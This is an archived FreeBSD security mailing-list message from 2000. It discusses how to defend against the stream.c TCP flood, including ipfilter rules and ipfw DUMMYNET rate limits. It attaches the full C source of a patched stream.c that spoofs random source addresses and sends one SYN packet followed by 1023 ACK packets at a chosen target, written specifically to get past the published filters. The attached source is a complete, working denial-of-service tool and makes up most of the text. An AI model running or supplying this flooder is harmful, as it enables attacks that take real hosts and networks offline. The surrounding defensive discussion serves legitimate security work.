Date: Thu, 22 Jun 2000 13:24:21 +0400 From: 3APA3A <3APA3A@SECURITY.NNOV.RU> To: "Maksimov Maksim" <maksim@tts.tomsk.su>, <freebsd-security@FreeBSD.ORG> Subject: Re: How defend from stream2.c attack? (Fwd: Re[2]: explanation and code for stream.c issues) Message-ID: <10558.000622@sandy.ru>
next in thread | raw e-mail | index | archive | help
[-- Attachment #1 --] To remind what is stream2.c I wonder it still working after disabling RST, but may be it's because of combining SYN packets with invalid ACK packets. May be it's just another kind of attack and it's not connected with flood. My recommendation on blocking this attack is to limit a number of packets in a unit of time, as shown below. But it still not tested :( http://www.security.nnov.ru /\_/\ { . . } |\ +--oQQo->{ ^ }<-----+ \ | 3APA3A U 3APA3A } +-------------o66o--+ / |/ You know my name - look up my number (The Beatles) This is a forwarded message From: Vladimir Dubrovin <vlad@sandy.ru> To: Tim Yardley <yardley@uiuc.edu> Subject: explanation and code for stream.c issues ===8<==============Original message text=============== 21.01.00 22:15, you wrote: explanation and code for stream.c issues; >>T> -- start rule set -- >>T> block in quick proto tcp from any to any head 100 >>T> pass in quick proto tcp from any to any flags S keep state group 100 >>T> pass in all >>T> -- end rule set -- >> >>Attack can be easily changed to send pair SYN and invalid SYN/ACK My mistake here - SYN/ACK packet isn't required. Sorry, i wrote this message after 11 hours of work. Intruder sends SYN packet and then sends, lets say 1000 ACK packets to the same port from same port and source address. SYN packet will open ipfilter to pass all others packets. This attack doesn't need randomization for each packet. By the way - published stream.c doesn't use ACK bit at all. packet.tcp.th_flags = 0; It looks like usual flooder and can be easily filtered with ipfw by blocking packets without any flags set (this packets are invalid for TCP). allow tcp from any to any tcpflags ack allow tcp from any to any tcpflags syn allow tcp from any to any tcpflags syn,ack allow tcp from any to any tcpflags rst ... deny tcp from any to any Attached is patched stream.c which sends (SYN packet + 1023 ACK packets) from random port and source. This ipfw rule and published ipfilter rule will be unusable against this attack. In my current location i can't test it. T> As was mentioned in the "advisory/explanation" on the issue, ipfw cannot T> deal with the problem due to the fact that it is stateless. T> The attack comes from random ip addresses, therefore throttling like that T> only hurts your connection or solves nothing at all. In other words, the T> random sourcing and method of the attack, makes a non-stateless firewall T> useless. It would be better if you reed the rule before answering. Of cause, ipfw can't find invalid ACK packets. But if OS supports DUMMYNET option ipfw can be used to limit the number of packets in a fixed amount of time. In this case: ipfw pipe 10 config delay 50 queue 500 packets ipfw add pipe 10 tcp from any to $MYHOST in via $EXTERNAL we limit router to allow only 500 TCP packets in every 50ms. Average size of tcp packet is approx. 500 bytes (you can test it). So, you allow bandwidth of 40M pbs for standard TCP traffic. But this rule will effectively block any spoofing attack which uses small packets. If 50-bytes packets are used this rule will allow only bandwith 4M bps for such attack. Not only "ACK" attack, but any flood. We didn't check source, so we're safe againt any spoofing. Of cause in this case you will loose TCP packets during an attack and connections can be dropped, but at least your host will be safe. As it was pointed, _any_ packet filter, including ipfilter, can't solve this problem completely. +=-=-=-=-=-=-=-=-=+ |Vladimir Dubrovin| | Sandy Info, ISP | +=-=-=-=-=-=-=-=-=+ ===8<===========End of original message text=========== [-- Attachment #2 --] #include <stdio.h> #include <stdlib.h> #include <unistd.h> #include <strings.h> #include <sys/time.h> #include <sys/types.h> #include <sys/socket.h> #ifndef __USE_BSD #define __USE_BSD #endif #ifndef __FAVOR_BSD #define __FAVOR_BSD #endif #include <netinet/in_systm.h> #include <netinet/in.h> #include <netinet/ip.h> #include <netinet/tcp.h> #include <arpa/inet.h> #include <netdb.h> #ifdef LINUX #define FIX(x) htons(x) #else #define FIX(x) (x) #endif struct ip_hdr { u_int ip_hl:4, /* header length in 32 bit words */ ip_v:4; /* ip version */ u_char ip_tos; /* type of service */ u_short ip_len; /* total packet length */ u_short ip_id; /* identification */ u_short ip_off; /* fragment offset */ u_char ip_ttl; /* time to live */ u_char ip_p; /* protocol */ u_short ip_sum; /* ip checksum */ u_long saddr, daddr; /* source and dest address */ }; struct tcp_hdr { u_short th_sport; /* source port */ u_short th_dport; /* destination port */ u_long th_seq; /* sequence number */ u_long th_ack; /* acknowledgement number */ u_int th_x2:4, /* unused */ th_off:4; /* data offset */ u_char th_flags; /* flags field */ u_short th_win; /* window size */ u_short th_sum; /* tcp checksum */ u_short th_urp; /* urgent pointer */ }; struct tcpopt_hdr { u_char type; /* type */ u_char len; /* length */ u_short value; /* value */ }; struct pseudo_hdr { /* See RFC 793 Pseudo Header */ u_long saddr, daddr; /* source and dest address */ u_char mbz, ptcl; /* zero and protocol */ u_short tcpl; /* tcp length */ }; struct packet { struct ip/*_hdr*/ ip; struct tcphdr tcp; /* struct tcpopt_hdr opt; */ }; struct cksum { struct pseudo_hdr pseudo; struct tcphdr tcp; }; struct packet packet; struct cksum cksum; struct sockaddr_in s_in; u_short dstport, pktsize, pps; u_long dstaddr; int sock; void usage(char *progname) { fprintf(stderr, "Usage: %s <dstaddr> <dstport> <pktsize> <pps>\n", progname); fprintf(stderr, " dstaddr - the target we are trying to attack.\n"); fprintf(stderr, " dstport - the port of the target, 0 = random.\n"); fprintf(stderr, " pktsize - the extra size to use. 0 = normal syn.\n"); exit(1); } /* This is a reference internet checksum implimentation, not very fast */ inline u_short in_cksum(u_short *addr, int len) { register int nleft = len; register u_short *w = addr; register int sum = 0; u_short answer = 0; /* Our algorithm is simple, using a 32 bit accumulator (sum), we add * sequential 16 bit words to it, and at the end, fold back all the * carry bits from the top 16 bits into the lower 16 bits. */ while (nleft > 1) { sum += *w++; nleft -= 2; } /* mop up an odd byte, if necessary */ if (nleft == 1) { *(u_char *)(&answer) = *(u_char *) w; sum += answer; } /* add back carry outs from top 16 bits to low 16 bits */ sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */ sum += (sum >> 16); /* add carry */ answer = ~sum; /* truncate to 16 bits */ return(answer); } u_long lookup(char *hostname) { struct hostent *hp; if ((hp = gethostbyname(hostname)) == NULL) { fprintf(stderr, "Could not resolve %s.\n", hostname); exit(1); } return *(u_long *)hp->h_addr; } void flooder(void) { struct timespec ts; int i; memset(&packet, 0, sizeof(packet)); ts.tv_sec = 0; ts.tv_nsec = 10; packet.ip.ip_hl = 5; packet.ip.ip_v = 4; packet.ip.ip_p = IPPROTO_TCP; packet.ip.ip_tos = 0x08; packet.ip.ip_id = rand(); packet.ip.ip_len = FIX(sizeof(packet)); packet.ip.ip_off = 0; /* IP_DF? */ packet.ip.ip_ttl = 255; packet.ip.ip_dst.s_addr = random(); packet.tcp.th_flags = 0; packet.tcp.th_win = htons(16384); packet.tcp.th_seq = random(); packet.tcp.th_ack = 0; packet.tcp.th_off = 5; /* 5 */ packet.tcp.th_urp = 0; packet.tcp.th_dport = dstport?htons(dstport):rand(); /* packet.opt.type = 0x02; packet.opt.len = 0x04; packet.opt.value = htons(1460); */ cksum.pseudo.daddr = dstaddr; cksum.pseudo.mbz = 0; cksum.pseudo.ptcl = IPPROTO_TCP; cksum.pseudo.tcpl = htons(sizeof(struct tcphdr)); s_in.sin_family = AF_INET; s_in.sin_addr.s_addr = dstaddr; s_in.sin_port = packet.tcp.th_dport; for(i=0;;++i) { /* patched by 3APA3A to send 1 syn packet + 1023 ACK packets. */ if( !(i&0x3FF) ) { packet.tcp.th_sport = rand(); cksum.pseudo.saddr = packet.ip.ip_src.s_addr = random(); packet.tcp.th_flags = TH_SYN; packet.tcp.th_ack = 0; } else { packet.tcp.th_flags = TH_ACK; packet.tcp.th_ack = rand(); } /* cksum.pseudo.saddr = packet.ip.ip_src.s_addr = random(); */ ++packet.ip.ip_id; /*++packet.tcp.th_sport*/; ++packet.tcp.th_seq; if (!dstport) s_in.sin_port = packet.tcp.th_dport = rand(); packet.ip.ip_sum = 0; packet.tcp.th_sum = 0; cksum.tcp = packet.tcp; packet.ip.ip_sum = in_cksum((void *)&packet.ip, 20); packet.tcp.th_sum = in_cksum((void *)&cksum, sizeof(cksum)); if (sendto(sock, &packet, sizeof(packet), 0, (struct sockaddr *)&s_in, sizeof(s_in)) < 0) perror("jess"); } } int main(int argc, char *argv[]) { int on = 1; printf("stream.c v1.01 - TCP Packet Storm\n"); if ((sock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) { perror("socket"); exit(1); } setgid(getgid()); setuid(getuid()); if (argc < 4) usage(argv[0]); if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0) { perror("setsockopt"); exit(1); } srand((time(NULL) ^ getpid()) + getppid()); printf("\nResolving IPs..."); fflush(stdout); dstaddr = lookup(argv[1]); dstport = atoi(argv[2]); pktsize = atoi(argv[3]); printf("Sending..."); fflush(stdout); flooder(); return 0; }
Want to link to this message? Use this URL: <https://mail-archive.FreeBSD.org/cgi/mid.cgi?10558.000622>
